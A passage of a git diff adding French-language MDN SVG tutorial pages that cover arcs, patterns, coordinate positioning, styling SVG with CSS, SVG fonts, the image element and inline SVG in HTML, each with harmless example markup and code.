L'élément arc part du point actuel vers le point d'arrivée (x, y) en parcourant la ligne le long d'une ellipse définie par rx et ry. Le centre de l'ellipse (cx, cy) est calculé automatiquement pour satisfaire les contraintes imposées par les autres paramètres. Si vous avez besoin d'un rappel sur les ellipses, voyez les formes de base. Ensemble, ces quatre valeurs définissent la structure de base de l’arc.

+ +
A rx ry x-axis-rotation large-arc-flag sweep-flag x y
+a rx ry x-axis-rotation large-arc-flag sweep-flag dx dy
+
+ +

x-axis-rotation

+ +

x-axis-rotation décrit la rotation de l’arc. Il s’explique plus facilement avec un exemple:

+ +

SVGArcs_XAxisRotation_with_grid

+ +
<svg width="320" height="320" xmlns="http://www.w3.org/2000/svg">
+  <line x1="10" y1="315" x2="315" y2="10" stroke="black" stroke-width="2" />
+
+  <path d="M110 215       a 30 50   0 0 1 52.55 -52.45" fill="#7FBF7F" stroke="black" stroke-width="2" />
+  <path d="M172.55 152.45 a 30 50 -45 0 1 42.55 -42.55" fill="#7FBF7F" stroke="black" stroke-width="2" />
+</svg>
+ +

Cet exemple montre deux arcs elliptiques de rayon dx 30 et rayon dy 50.

+ +
    +
  • Pour le premier arc, le paramètre x-axis-rotation a été laissé à 0, et l’ellipse autour de laquelle passe l’arc (montrée en gris) est orientée verticalement.
    • +
  • Pour le second arc en revanche, x-axis-rotation est passé à -45 degrés. Cela pivote l’ellipse, de telle sorte que son petit axe (dy) est aligné avec la direction du chemin, comme illustré par la seconde ellipse dans l’image.
    • +
+ +

sweep-flag

+ +

Pour un rayon rx et un rayon ry donnés, il existe deux ellipses pouvant connecter deux points quelconques.

+ +

sweep-flag détermine si l’arc doit commencer son mouvement à un angle négatif ou positif, permettant ainsi de choisir lequel des deux cercles est parcouru.

+ +
<!-- sweep-flag: 0 -->
+<path d="M 125,75 a100,50 0 0,0 100,50"
+      stroke="red" stroke-width="6" fill="none" />
+
+<!-- sweep-flag: 1 -->
+<path d="M 125,75 a100,50 0 0,1 100,50"
+      stroke="blue" stroke-width="6" fill="none" />
+
+ + + +

{{ EmbedLiveSample('Playable_code', '100%', 200) }}

+ +

large-arc-flag

+ +

Pour chacune des deux ellipses, il existe deux chemins possibles, ce qui donne quatre chemins possibles.

+ +

large-arc-flag détermine simplement si l’arc doit être supérieur ou inférieur à 180 degrés ; au final, il détermine dans quelle direction l’arc va parcourir une ellipse donnée.

+ +
<!-- large-arc-flag: 0 -->
+<path d="M 125,75 a100,50 0 0,0 100,50"
+      stroke="red" stroke-width="6" fill="none" />
+
+<!-- large-arc-flag: 1 -->
+<path d="M 125,75 a100,50 0 1,0 100,50"
+      stroke="blue" stroke-width="6" fill="none" />
+
+ + + +

{{ EmbedLiveSample('Playable_code_2', '100%', 200) }}

+ +

L’exemple ci-dessous montre les quatre combinaisons possibles avec sweep-flag et large-arc-flag:

+ +

+ +
<svg width="325" height="325" xmlns="http://www.w3.org/2000/svg">
+  <path d="M80 80
+           A 45 45, 0, 0, 0, 125 125
+           L 125 80 Z" fill="green"/>
+  <path d="M230 80
+           A 45 45, 0, 1, 0, 275 125
+           L 275 80 Z" fill="red"/>
+  <path d="M80 230
+           A 45 45, 0, 0, 1, 125 275
+           L 125 230 Z" fill="purple"/>
+  <path d="M230 230
+           A 45 45, 0, 1, 1, 275 275
+           L 275 230 Z" fill="blue"/>
+</svg>
+ +

Conclusion

+ +

Les arcs sont un moyen facile de créer des portions de cercle ou d’ellipse dans vos dessins. Par exemple pour dessiner un graphique en camembert. Si vous êtes en train de migrer vers SVG depuis Canvas, les arcs peuvent être la partie la plus difficile à appréhender, mais sont également bien plus puissants.

+ +

Comme les points de départ et d’arrivée de tout chemin parcourant un cercle sont confondus, un nombre infini de cercles peuvent être choisis, par conséquent le chemin est indéfini. Il est possible d’en faire une approximation en prenant des points de départ et d’arrivée légèrement décalés, puis de les connecter à l’aide d’un autre segment de chemin. Dans ces conditions, il est souvent plus facile d’utiliser un véritable élément cercle ou ellipse à la place.

+ +

Vous pouvez trouver une démo interactive à l'adresse suivante, pour vous aider à comprendre les concepts derrière les arcs SVG: http://codepen.io/lingtalfi/pen/yaLWJG (testé avec Chrome et Firefox seulement, peut ne pas marcher avec votre navigateur).

+ +

{{ PreviousNext("Web/SVG/Tutoriel/Formes_de_base", "Web/SVG/Tutoriel/Fills_and_Strokes") }}

diff --git a/files/fr/web/svg/tutorial/patterns/index.html b/files/fr/web/svg/tutorial/patterns/index.html new file mode 100644 index 0000000000..29a63e8f60 --- /dev/null +++ b/files/fr/web/svg/tutorial/patterns/index.html @@ -0,0 +1,266 @@ +--- +title: Motifs +slug: Web/SVG/Tutoriel/Motifs +tags: + - SVG + - 'SVG:Tutoriel' +translation_of: Web/SVG/Tutorial/Patterns +--- +

{{ PreviousNext("Web/SVG/Tutoriel/Gradients", "Web/SVG/Tutoriel/Texts") }}

+ +

Les motifs (patterns en anglais) sont sans aucun doute les types de remplissages les plus complexes à utiliser en SVG. Ce sont également des outils très puissants, ils méritent donc d'être abordés pour que vous en connaissiez les fondamentaux. Comme les dégradés, l'élément {{SVGElement('pattern')}} doit être placé dans la section <defs> du fichier SVG.

+ +

Exemple

+ +
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
+  <defs>
+    <linearGradient id="Gradient1">
+      <stop offset="5%" stop-color="white"/>
+      <stop offset="95%" stop-color="blue"/>
+    </linearGradient>
+    <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1">
+      <stop offset="5%" stop-color="red"/>
+      <stop offset="95%" stop-color="orange"/>
+    </linearGradient>
+
+    <pattern id="Pattern" x="0" y="0" width=".25" height=".25">
+      <rect x="0" y="0" width="50" height="50" fill="skyblue"/>
+      <rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/>
+      <circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/>
+    </pattern>
+  </defs>
+
+  <rect fill="url(#Pattern)" stroke="black" width="200" height="200"/>
+</svg>
+ +

{{ EmbedLiveSample('Exemple','220','220','/files/725/SVG_Pattern_Example.png') }}

+ +

À l'intérieur de l'élément pattern, vous pouvez inclure toutes les formes de bases de SVG et les styliser de la même manière que d'habitude (remplissage, contour, dégradés, opacité, etc). Dans notre exemple, on a dessiné un cercle et deux rectangles (qui se chevauchent et dont l'un est deux fois plus grand que l'autre pour remplir le motif en entier).

+ +

La partie pouvant apporter le plus de confusion avec les motifs est le système d'unité et la taille des éléments.

+ +

Unités du motif: objectBoundingBox

+ +

Les attributs width et height sur l'élément pattern décrivent jusqu'où le motif doit aller avant de se répéter. Les attributs x et y sont également disponibles si vous souhaitez décaler le point de départ du motif à l'intérieur du dessin.

+ +

Même principe que l'attribut gradientUnits (que nous avons vu précédemment avec les dégradés), les motifs peuvent prendre un attribut patternUnits, pour spécifier l'unité utilisée par le motif. La valeur par défaut est  "objectBoundingBox", ainsi une taille de 1 remplira entièrement la hauteur/largeur de l'objet auquel le motif est appliqué. Puisque dans notre cas, on veut que le motif se répète 4 fois horizontalement et verticalement, on a définit height et width à 0.25. Cela signifie que la hauteur et largeur du pattern sera de 25% celle de l'objet.

+ +

De même, pour que le motif commence à 10 pixels du bord supérieur-gauche de l'objet, il faudrait définir les valeurs de x et y à 0.05 (10/200 = 0.05).

+ +

Unités du contenu: userSpaceOnUse

+ +

Contrairement aux dégradés, les motifs ont un deuxième argument, patternContentUnits, qui lui spécifie l'unité utilisée par les formes à l'intérieur du motif. La valeur par défaut est "userSpaceOnUse", l'opposé de l'attribut patternUnits. Cela signifie qu'à moins de définir ces attributs aurement (patternContentUnits et/ou patternUnits), les formes que vous dessinez à l'intérieur du motif ont un système de coordonnées différent du motif, ce qui peut rendre les choses un peu déroutantes si vous écrivez le code à la main.

+ +

Pour que cela fonctionne dans l'exemple ci-dessus, nous avons dû prendre en compte la taille du rectangle sur lequel est appliqué le motif (200px) et le fait que l'on veut répéter le motif 4 fois horizontalement et verticalement, donc que le motif sera un carré de 50x50. Les deux rectangles et le cercle à l'intérieur du motif ont été dimensionnés pour tenir dans un carré de 50x50. Tout ce qui sortirait en dehors ne serait pas affiché.

+ +

La chose à retenir est que si l'objet change de taille, le motif lui-même sera mis à l'échelle mais les objets à l'intérieur non. Ainsi, alors qu'on aura toujours 4 motifs qui se répètent horizontalement et verticalement, les objets à l'intérieur du motif garderont la même taille, et une zone vide sera affichée.

+ + + +

{{ EmbedLiveSample('Playable_code','220','350') }}

+ +

Unités du contenu: objectBoundingBox

+ +

En changeant l'attribut patternContentUnits, on peut utiliser le même système d'unité pour tous les éléments:

+ +
 <pattern id="Pattern" width=".25" height=".25" patternContentUnits="objectBoundingBox">
+   <rect x="0" y="0" width=".25" height=".25" fill="skyblue"/>
+   <rect x="0" y="0" width=".125" height=".125" fill="url(#Gradient2)"/>
+   <circle cx=".125" cy=".125" r=".1" fill="url(#Gradient1)" fill-opacity="0.5"/>
+ </pattern>
+
+ +

Maintenant, parce le contenu du motif utilise le même système d'unité que le motif, le motif redimensionne automatiquement son contenu. Cela contraste avec le système "userSpaceOnUse" par défaut, où lorsque le motif change le taille, le contenu garde la même taille.

+ + + +

{{ EmbedLiveSample('Playable_code_2','220','350') }}

+ +

Note: Dans Gecko, les cercles semblent avoir du mal à être dessinés si le rayon est inférieur à 0.075 (on ignore s'il s'agit d'un bug de l'élément pattern ou non). Pour contourner ce problème, il est probablement préférable d'éviter de dessiner des cercles dans des unités "objectBoundingBox".

+ +

Unités du motif: userSpaceOnUse

+ +

Aucune des utilisations vu jusqu'ici ne correspond à l'usage habituel des motifs (tel qu'on le ferait en CSS): les motifs ont généralement une taille définie et se répètent indépendamment de la taille de l'objet sur lequel il est appliqué. Pour créer quelque chose comme ça, le motif et le contenu doivent être dessiné en mode "userSpaceOnUse":

+ +
 <pattern id="Pattern" x="10" y="10" width="50" height="50" patternUnits="userSpaceOnUse">
+   <rect x="0" y="0" width="50" height="50" fill="skyblue"/>
+   <rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/>
+   <circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/>
+ </pattern>
+
+ +

Bien sûr, cela veut dire que le motif ne sera pas mis à l'échelle si vous modifiez la taille de l'objet ultérieurement.

+ + + +

{{ EmbedLiveSample('Playable_code_3','220','350') }}

+ +

Récapitulatif

+ +

Les trois exemples sont illustrés ci-dessous sur un rectangle allongé à une hauteur de 300px:

+ +

Image:SVG_Pattern_Comparison_of_Units.png

+ +

{{ PreviousNext("Web/SVG/Tutoriel/Gradients", "Web/SVG/Tutoriel/Texts") }}

diff --git a/files/fr/web/svg/tutorial/positions/index.html b/files/fr/web/svg/tutorial/positions/index.html new file mode 100644 index 0000000000..7f23bfe123 --- /dev/null +++ b/files/fr/web/svg/tutorial/positions/index.html @@ -0,0 +1,55 @@ +--- +title: Positionnement +slug: Web/SVG/Tutoriel/Positionnement +tags: + - Débutant + - SVG + - 'SVG:Tutoriel' +translation_of: Web/SVG/Tutorial/Positions +--- +

{{ PreviousNext("SVG/Tutoriel/Premiers_pas", "SVG/Tutoriel/Formes_de_base") }}

+ +

La grille

+ +

Pour chaque élément, SVG utilise un ensemble de coordonnées aussi appelé grille assez similaire à ce qui est utilisé dans canvas (et par tout un tas d'autres routines de dessin informatique). Dans le cas présent, le point en haut à gauche est considéré comme le point (0,0) ou point d'origine. Le positionnement est ensuite mesuré en pixel, depuis le coin supérieur gauche. Les valeurs positives de x vont vers la droite, les valeurs positives de y vont vers le bas. Notez que tout ceci est un peu contraire à la géométrie que l'on vous a enseignée. Ici, le positionnement fonctionne de la même manière que pour les éléments HTML.

+ +

Exemple

+ +
<rect x="0" y="0" width="100" height="100" />
+
+ +

L'élément précédent définit un rectangle dans le coin supérieur gauche de l'écran, d'une taille de 100px par 100px.

+ +

Qu'est ce qu'un pixel ?

+ +

Dans le cas le plus basique, un pixel dans un document SVG correspond à un pixel du périphérique de sortie, à savoir l'écran. Mais le SVG ne serait pas "scalable", c'est-à-dire évolutif, s'il n'y avait qu'une seule possibilité de gérer ce comportement. Tout comme les tailles de police absolues et relatives en CSS, SVG peut définir des unités absolues (avec des identifiants dimensionnels comme le "pt" ou encore le "cm") ou encore des unités dites définies par l'utilisateur, qui ne disposent pas de ces identifiants et correspondent à des nombres ordinaires.

+ +

Par défaut, l'unité utilisateur correspond à l'unité de l'écran. Pour modifier ce comportement de manière explicite, il existe plusieurs méthodes en SVG. Commençons par l'élément racine svg :

+ +
<svg width="100" height="100">
+
+ +

La déclaration suivante crée un élément SVG d'une taille de 100px par 100px. Ici, une unité utilisateur correspond à l'unité de l'écran.

+ +
<svg width="200" height="200" viewBox="0 0 100 100">
+
+ +

L'image SVG suivante fait 200px par 200px. Toutefois, l'attribut viewBox définit que cet élément de 200 par 200 commence au point (0,0) et s'étend sur une grille de 100 unités sur 100 unités vers la droite et vers le bas de l'écran. 100 unités représentant 200 pixels, chaque unité vaut deux pixels : cela permet de doubler la taille de l'image.

+ +

La transformation des coordonnées réelles de l'écran en coordonnées personnalisées à l'aide d'un viewport permet de créer un système de coordonnées utilisateur. Celui-ci pourra pivoter, être zoomé, rendu oblique ou encore permettra de retourner une image. Par défaut, le système de coordonnées de l'utilisateur fait correspondre un pixel utilisateur à un pixel écran.

+ +

Cependant, le périphérique peut décider lui-même ce qui correspond à un pixel.

+ +

Les tailles dans le fichier SVG ayant des unités spécifiques, tels que les "in" et les "cm", sont ensuite calculées de manière à les faire apparaître avec une échelle de 1:1 dans l'image résultante.

+ +

Pour illustrer cette explication, rien de tel qu'une petite citation tirée des spécifications SVG 1.1 :

+ +
+

[…] imaginons que le user agent peut déterminer à partir de son environnement que "1px" correspond à "0.2822222mm" (c'est-à-dire 90dpi). Ainsi, pour le traitement de chaque élément SVG : […] "1cm" équivaut à "35.43307px" (et donc à 35.43307 unités utilisateur)

+
+ +

{{ PreviousNext("SVG/Tutoriel/Premiers_pas", "SVG/Tutoriel/Formes_de_base") }}

+ +

Interwiki Languages Links

+ +

{{ languages( { "en": "en/SVG/Tutorial/Positions"} ) }}

diff --git a/files/fr/web/svg/tutorial/svg_and_css/index.html b/files/fr/web/svg/tutorial/svg_and_css/index.html new file mode 100644 index 0000000000..a3c323972f --- /dev/null +++ b/files/fr/web/svg/tutorial/svg_and_css/index.html @@ -0,0 +1,198 @@ +--- +title: Graphiques SVG +slug: CSS/Premiers_pas/Graphiques_SVG +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Web/SVG/Tutorial/SVG_and_CSS +--- +

 

+

Cette page illustre le langage spécialisé dans la création d'éléments graphiques : SVG.

+

Vous créerez une démonstration simple visible dans votre navigateur Mozilla avec SVG activé.

+

Information : SVG

+

+ + SVG + (Scalable Vector Graphics) est un langage basé sur XML permettant de créer des éléments graphiques.

+

Il peut être utilisé pour des images statiques, ainsi que pour des animations et des interfaces utilisateur.

+

Comme d'autres langages basés sur XML, SVG permet d'utiliser des feuilles de style CSS afin de séparer le style d'un graphique de son contenu.

+

De plus, les feuilles de style utilisées avec d'autres langages de balisages peuvent spécifier l'URL d'un graphique SVG lorsqu'une image est requise. Par exemple, une feuille de style utilisée avec un document HTML peut spécifier l'URL d'un graphique SVG dans la valeur d'une propriété background.

+ + + + + + + +
+ Plus de détails
Au moment de la rédaction de ce document (courant 2005), seules certains compilations récentes des navigateurs Mozilla ont leur gestion native de SVG activée. +

Vous pouvez ajouter un support SVG à d'autres versions en installant un plugin comme celui fourni par Adobe.

+

Pour plus d'informations à propos de SVG dans Mozilla, consultez la page SVG de ce wiki.

+
+

Action : une démonstration de SVG

+

Créez un nouveau document SVG en tant que fichier texte simple, doc8.svg. Copiez et collez-y le contenu ci-dessous en vous assurant de le faire défiler afin d'en obtenir la totalité :

+
+ 
<?xml version="1.0" standalone="no"?>
+
+<?xml-stylesheet type="text/css" href="style8.css"?>
+
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+
+<svg width="600px" height="600px" viewBox="-300 -300 600 600"
+  xmlns="http://www.w3.org/2000/svg" version="1.1"
+  xmlns:xlink="http://www.w3.org/1999/xlink">
+
+<title>SVG demonstration</title>
+<desc>Premiers pas en CSS avec Mozilla - Démonstration de SVG</desc>
+
+<defs>
+  <g id="segment" class="segment">
+    <path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/>
+    <path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/>
+    </g>
+  <g id="quadrant">
+    <use xlink:href="#segment"/>
+    <use xlink:href="#segment" transform="rotate(18)"/>
+    <use xlink:href="#segment" transform="rotate(36)"/>
+    <use xlink:href="#segment" transform="rotate(54)"/>
+    <use xlink:href="#segment" transform="rotate(72)"/>
+    </g>
+  <g id="petals">
+    <use xlink:href="#quadrant"/>
+    <use xlink:href="#quadrant" transform="rotate(90)"/>
+    <use xlink:href="#quadrant" transform="rotate(180)"/>
+    <use xlink:href="#quadrant" transform="rotate(270)"/>
+    </g>
+  <radialGradient id="fade" cx="0" cy="0" r="200"
+      gradientUnits="userSpaceOnUse">
+    <stop id="fade-stop-1" offset="33%"/>
+    <stop id="fade-stop-2" offset="95%"/>
+    </radialGradient>
+  </defs>
+
+<text id="heading" x="-280" y="-270">
+  SVG demonstration</text>
+<text  id="caption" x="-280" y="-250">
+  Placez le pointeur de la souris au dessus de la fleur.</text>
+
+<g id="flower">
+  <circle id="overlay" cx="0" cy="0" r="200"
+    stroke="none" fill="url(#fade)"/>
+  <use id="outer-petals" xlink:href="#petals"/>
+  <use id="inner-petals" xlink:href="#petals"
+    transform="rotate(9) scale(0.33)"/>
+  </g>
+
+</svg>
+
+
+

Créez un nouveau fichier CSS, style8.css. Copiez et collez-y le contenu ci-dessous, en vous assurant de le faire défiler pour en obtenir la totalité :

+
+ 
/*** Démonstration de SVG ***/
+
+/* page */
+svg {
+  background-color: beige;
+  }
+
+#heading {
+  font-size: 24px;
+  font-weight: bold;
+  }
+
+#caption {
+  font-size: 12px;
+  }
+
+/* flower */
+#flower:hover {
+  cursor: crosshair;
+  }
+
+/* gradient */
+#fade-stop-1 {
+  stop-color: blue;
+  }
+
+#fade-stop-2 {
+  stop-color: white;
+  }
+
+/* outer petals */
+#outer-petals {
+  opacity: .75;
+  }
+
+#outer-petals .segment-fill {
+  fill: azure;
+  stroke: lightsteelblue;
+  stroke-width: 1;
+  }
+
+#outer-petals .segment-edge {
+  fill: none;
+  stroke: deepskyblue;
+  stroke-width: 3;
+  }
+
+#outer-petals .segment:hover > .segment-fill {
+  fill: plum;
+  stroke: none;
+  }
+
+#outer-petals .segment:hover > .segment-edge {
+  stroke: slateblue;
+  }
+
+/* inner petals */
+#inner-petals .segment-fill {
+  fill: yellow;
+  stroke: yellowgreen;
+  stroke-width: 1;
+  }
+
+#inner-petals .segment-edge {
+  fill: none;
+  stroke: yellowgreen;
+  stroke-width: 9;
+  }
+
+#inner-petals .segment:hover > .segment-fill {
+  fill: darkseagreen;
+  stroke: none;
+  }
+
+#inner-petals .segment:hover > .segment-edge {
+  stroke: green;
+  }
+
+
+

Ouvrez le document dans votre navigateur avec SVG activé. Placez le pointeur de la souris au dessus de l'image.

+

Ce wiki ne permet pas d'utiliser SVG dans ses pages, il n'est donc pas possible d'afficher la démonstration ici. L'image ressemble à ceci :

+ + + + + + +
Démonstration de SVG
+

Remarques à propos de cette démonstration :

+
    +
  • Le document SVG est lié à la feuille de style de la manière habituelle.
    • +
  • SVG possède ses propres propriétés CSS et valeurs. Certaines d'entre-elles sont similaires au propriétés CSS pour HTML.
    • +
+

 

+ + + + + + + +
+ Challenge
Modifiez la feuille de style pour que les pétales intérieurs deviennent tous roses lorsque le pointeur de la souris survole n'importe lequel d'entre-eux, sans changer la manière dont les pétales extérieurs fonctionnent.
+

 

+

Pour continuer

+

Si vous avez eu des difficultés à comprendre cette page, ou si vous avez d'autres commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

+

Dans cette démonstration, votre navigateur avec SVG activé sait déjà comment afficher les éléments SVG. La feuille de style modifie uniquement l'affichage dans une certaine mesure. C'est également le cas pour les documents HTML et XUL. Mais vous pouvez utiliser CSS pour des documents XML généralistes, où il n'y a aucune manière prédéfinie d'afficher les éléments. La page suivante en fait la démonstration : Données XML.

diff --git a/files/fr/web/svg/tutorial/svg_fonts/index.html b/files/fr/web/svg/tutorial/svg_fonts/index.html new file mode 100644 index 0000000000..4a196a3825 --- /dev/null +++ b/files/fr/web/svg/tutorial/svg_fonts/index.html @@ -0,0 +1,106 @@ +--- +title: Polices SVG +slug: Web/SVG/Tutoriel/polices_SVG +tags: + - Police + - SVG + - font +translation_of: Web/SVG/Tutorial/SVG_fonts +--- +

{{ PreviousNext("Web/SVG/Tutoriel/filtres","Web/SVG/Tutoriel/SVG_Image_Tag") }}

+ +

Lorsque SVG a été spécifié, le support des polices d'écriture pour le web n'était pas répandu dans les navigateurs. Comme l'accès au fichier de la police adéquate est cependant crucial pour afficher correctement le texte, une technologie de description des polices a été ajoutée à SVG pour offrir cette capacité. Elle n'a pas été conçue pour la compatibilité avec d'autres formats tels que le PostScript ou OTF, mais plutôt comme un moyen simple d'intégration des informations des glyphes en SVG lors de l'affichage.

+ +
Les Polices d'écritures SVG sont actuellement supportées uniquement sur Safari et le navigateur Android.
+Internet Explorer n'a pas envisagé de les implémenter, la fonctionnalité a été supprimée de Chrome 38 (et Opera 25) et Firefox a reporté sa mise en œuvre indéfiniment pour se concentrer sur WOFF. Cependant, d'autres outils comme le plugin Adobe SVG Viewer, Batik et des modèles de document d'Inkscape supportent l'incorporation des Police d'écriture SVG.
+ +

La base pour définir une police SVG est l'élément {{ SVGElement("font") }}.

+ +

Définir une police

+ +

Quelques ingrédients sont nécessaires pour intégrer une police en SVG. Prenons un exemple de déclaration (celle de la spécification), et expliquons-en les détails.

+ +
<font id="Font1" horiz-adv-x="1000">
+  <font-face font-family="Super Sans" font-weight="bold" font-style="normal"
+      units-per-em="1000" cap-height="600" x-height="400"
+      ascent="700" descent="300"
+      alphabetic="0" mathematical="350" ideographic="400" hanging="500">
+    <font-face-src>
+      <font-face-name name="Super Sans Bold"/>
+    </font-face-src>
+  </font-face>
+  <missing-glyph><path d="M0,0h200v200h-200z"/></missing-glyph>
+  <glyph unicode="!" horiz-adv-x="300"><!-- Outline of exclam. pt. glyph --></glyph>
+  <glyph unicode="@"><!-- Outline of @ glyph --></glyph>
+  <!-- more glyphs -->
+</font>
+ +

Nous commençons avec l'élement {{ SVGElement("font") }}. Il contient un attribut id, ce qui permet de le référencer via une URI (voir plus bas). L'attribut horiz-adv-x définit sa largeur moyenne, comparée aux définitions des autres glyphes individules. La valeur 1000 définit une valeur raisonnable. Plusieurs autres attributs associés précisent l'affichage de la boite qui encapsule le glyphe.

+ +

L'élément  {{ SVGElement("font-face") }} est l'équivalent SVG de la déclaration CSS  @font-face. Il définit les propriétés de base de la police finale, telles que 'weight', 'style', etc. Dans l'exemple ci-dessus, la première et la plus importante est  font-family : Elle pourra alors être référencée via la propriété font-family présente dans les CSS et les SVG. Les attributs font-weight et font-style ont la même fonction que leurs équivalents CSS. Les attributs suivants sont des instructions de rendu, pour le moteur d'affichage des polices ; par exemple : quelle est la taille des jambages supérieurs des glyphes (ascenders).

+ +

Its child, the {{ SVGElement("font-face-src") }} element, corresponds to CSS' src descriptor in @font-face declarations. You can point to external sources for font declarations by means of its children {{ SVGElement("font-face-name") }} and {{ SVGElement("font-face-uri") }}. The above example states that if the renderer has a local font available named "Super Sans Bold", it should use this instead.

+ +

Following {{ SVGElement("font-face-src") }} is a {{ SVGElement("missing-glyph") }} element. This defines what should be displayed if a certain glyph is not found in the font and if there are no fallback mechanisms. It also shows how glyphs are created: By simply adding any graphical SVG content inside. You can use literally any other SVG elements in here, even {{ SVGElement("filter") }}, {{ SVGElement("a") }} or {{ SVGElement("script") }}. For simple glyphs, however, you can simply add a d attribute — this defines a shape for the glyph exactly like how standard SVG paths work.

+ +

The actual glyphs are then defined by {{ SVGElement("glyph") }} elements. The most important attribute is unicode. It defines the unicode codepoint represented by this glyph. If you also specify the {{htmlattrxref("lang")}} attribute on a glyph, you can further restrict it to certain languages (represented by xml:lang on the target) exclusively. Again, you can use arbitrary SVG to define the glyph, which allows for great effects in supporting user agents.

+ +

There are two further elements that can be defined inside font: {{ SVGElement("hkern") }} and {{ SVGElement("vkern") }}. Each carries references to at least two characters (attributes u1 and u2) and an attribute k that determines how much the distance between those characters should be decreased. The below example instructs user agents to place the "A" and "V" characters closer together the standard distance between characters.

+ +
<hkern u1="A" u2="V" k="20" />
+ +

Référencer une police

+ +

Lorsque vous avez mis en place votre déclaration de police comme décrit ci-dessus, vous pouvez utiliser un simple attribut font-family pour réellement appliquer la police à un texte SVG:

+ +
<font>
+  <font-face font-family="Super Sans" />
+  <!-- ... -->
+</font>
+
+<text font-family="Super Sans">My text uses Super Sans</text>
+ +

Cependant, vous êtes libre de combiner plusieurs méthodes pour une plus grande liberté de où et comment définir la police.

+ +

Option: Utiliser le CSS @font-face

+ +

 

+ +

Vous pouvez utiliser @font-face pour les polices externes de référence :

+ +

 

+ +
<font id="Super_Sans">
+  <!-- ... -->
+</font>
+
+<style type="text/css">
+@font-face {
+  font-family: "Super Sans";
+  src: url(#Super_Sans);
+}
+</style>
+
+<text font-family="Super Sans">My text uses Super Sans</text>
+ +

Option: Référencer une police externe

+ +

 

+ +

L'élément mentionné font-face-uri vous permet de référencer une police externe, permettant donc une plus grande réutilisabilité :

+ +

 

+ +
<font>
+  <font-face font-family="Super Sans">
+    <font-face-src>
+      <font-face-uri xlink:href="fonts.svg#Super_Sans" />
+    </font-face-src>
+  </font-face>
+</font>
+ +
+
+

{{ PreviousNext("Web/SVG/Tutoriel/filtres","Web/SVG/Tutoriel/SVG_Image_Tag") }}

+
+
diff --git a/files/fr/web/svg/tutorial/svg_image_tag/index.html b/files/fr/web/svg/tutorial/svg_image_tag/index.html new file mode 100644 index 0000000000..8912c059d0 --- /dev/null +++ b/files/fr/web/svg/tutorial/svg_image_tag/index.html @@ -0,0 +1,36 @@ +--- +title: 'SVG: Elément image' +slug: Web/SVG/Tutoriel/SVG_Image_Tag +tags: + - Débutant + - SVG + - Tutoriel +translation_of: Web/SVG/Tutorial/SVG_Image_Tag +--- +

{{ PreviousNext("Web/SVG/Tutoriel/polices_SVG", "Web/SVG/Tutoriel/Tools_for_SVG") }}

+ +

L'élément SVG {{ SVGElement("image") }} permet d'afficher des images pixélisées au sein d'un objet SVG.

+ +

Dans cet exemple basique, une image JPG liée par l'attribut {{ SVGAttr("xlink:href") }} sera rendue à l'intérieur d'un objet SVG.

+ +
<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+<svg width="5cm" height="4cm" version="1.1"
+     xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink">
+	<image xlink:href="firefox.jpg" x="0" y="0" height="50px" width="50px"/>
+</svg>
+ +

Il faut prendre note de quelques point essentiels (donnés par les spécifications W3):

+ +
    +
  • +

    Si les attributs x ou y ne sont pas spécifiés, ils vaudront 0.

    +
    • +
  • +

    Si les attributs height ou width ne sont pas spécifiés, ils vaudront 0.

    +
    • +
  • Si l'attribut height ou l'attribut width est initialisé à 0, cela désactivera l'affichage de l'image.
    • +
+ +

{{ PreviousNext("Web/SVG/Tutoriel/polices_SVG", "Web/SVG/Tutoriel/Tools_for_SVG") }}

diff --git a/files/fr/web/svg/tutorial/svg_in_html_introduction/index.html b/files/fr/web/svg/tutorial/svg_in_html_introduction/index.html new file mode 100644 index 0000000000..29db7cb55b --- /dev/null +++ b/files/fr/web/svg/tutorial/svg_in_html_introduction/index.html @@ -0,0 +1,87 @@ +--- +title: Introduction à SVG dans HTML +slug: Web/SVG/Tutoriel/Introduction_à_SVG_dans_HTML +tags: + - SVG +translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction +--- +

Aperçu

+ +

Cet article et son exemple associé montrent comment utiliser du SVG en ligne pour fournir une image de fond à un formulaire. Il montre comment JavaScript et CSS peuvent servir à manipuler l'image comme vous le feriez avec le XHTML dans un script. Notez que l'exemple ne fonctionnera que dans des navigateurs supportant XHTML (pas HTML) et l'intégration SVG.

+ +

Source

+ +

Voici le code source de cet exemple :

+ +
<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+  <title>XTech SVG Demo</title>
+  <style>
+    stop.begin { stop-color:yellow; }
+    stop.end { stop-color:green; }
+    body.invalid stop.end { stop-color:red; }
+    #err { display:none; }
+    body.invalid #err { display:inline; }
+  </style>
+  <script>
+    function signalError() {
+      document.getElementById('body').setAttribute("class", "invalid");
+    }
+  </script>
+</head>
+<body id="body"
+   style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;">
+  <form>
+     <fieldset>
+       <legend>HTML Form</legend>
+       <p><label>Enter something:</label>
+          <input type="text"/>
+          <span id="err">Incorrect value!</span></p>
+       <p><button onclick="signalError();">Activate!</button></p>
+     </fieldset>
+  </form>
+  <svg xmlns="http://www.w3.org/2000/svg" version="1.1"
+    viewBox="0 0 100 100" preserveAspectRatio="xMidYMid slice"
+    style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:-1;">
+    <linearGradient id="gradient">
+      <stop class="begin" offset="0%"/>
+      <stop class="end" offset="100%"/>
+    </linearGradient>
+    <rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" />
+    <circle cx="50" cy="50" r="30" style="fill:url(#gradient)" />
+  </svg>
+</body>
+</html>
+ +

Discussion

+ +

